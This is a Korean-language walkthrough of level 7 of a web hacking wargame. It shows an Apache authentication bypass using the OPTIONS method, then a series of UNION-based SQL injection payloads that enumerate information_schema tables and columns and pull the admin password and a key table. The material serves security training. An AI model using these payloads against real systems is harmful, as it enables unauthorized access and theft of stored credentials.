wow webgame
[level 7]
우선 문제에서 guest라는 계정을 알려주었으므로 guest/guest로 접속해본다
별거없어서 걍 나와서 admin으로 접속을 해보자
아파치 웹 인증이므로 http메소드를 options로 바꿔서 인증을 우회해서 접속할 수 있다.
admin계정이 있는 것을 알 수 있다.
@우선 칼럼수를 알자
guest' union select 1,2,3,4,5 order by 1 /*:--
칼럼을 5개로 하니 칼럼수가 맞지 않다는 오류가 발생하였다.
guest' union select 1,2,3,4,5,6 order by 1 /*:--
오류가 뜨지 않고 정상적으로 출력이 되었다.
이렇게 해서 칼럼이 6개인 것을 알 수 있다.
#### mysql의 information_schema라는 데이터베이스에 여러 테이블들이 있는데
tables와 columns 테이블에는 현재 사용중인 모든 table과 column의 정보가 모두 담겨있다.
information_schema데이터베이스의 모든 테이블 보기
table 테이블 정보보기
columns 테이블 정보보기
@어떠한 테이블들이 존재하는지 살펴보자
guest' union select 1, 2, table_name, table_name, table_name, table_name
from information_schema.tables order by 1 limit 0, 1/*:--
guest' union select 1, 2, table_name, table_name, table_name, table_name
from information_schema.tables order by 1 limit 1, 2/*:--
guest' union select 1, 2, table_name, table_name, table_name, table_name
from information_schema.tables order by 1 limit 2, 3/*:--
guest' union select 1, 2, table_name, table_name, table_name, table_name
from information_schema.tables order by 1 limit 3, 4/*:--
자, 이렇게 해서 우리는 대충 어떠한 테이블이 존재하는지 알았다.
이제 테이블명 중에서 의심가는 것을 열어서 칼럼들을 봐야 할 것이다.
@특정 테이블의 칼럼들을 살펴보자
guest' union select 1, 2, column_name, table_name, table_name, table_name
from information_schema.columns where table_name='user_info' order by 1 limit 0,1/*:--
그 다음에도 똑같이 limit를 1씩 증가시키면서 쿼리를 날려보면
user_name, user_hitnum,, user_phone 등이 있다.
우린 admin의 user_passwd를 알아내야 한다.
그래서 이젠 이런 쿼리문을 날려보자
@사용자가 admin인 user_passwd를 알아내자
guest' union select 1, 2, user_passwd, user_passwd, user_passwd, user_passwd
from user_info where user_name='admin' order by 1 limit 0,1/*:--
user_passwd가 RiEQLHLk1a65w 란 값이 나왔다.
base64로 인코딩되어 있을거란 강력한 느낌이 났다.
@keytable 테이블을 살펴보자
같은 방법으로 keytable을 살펴보면
다음 레벨의 키를 얻을 수 있다.
결론:
- SQL Injection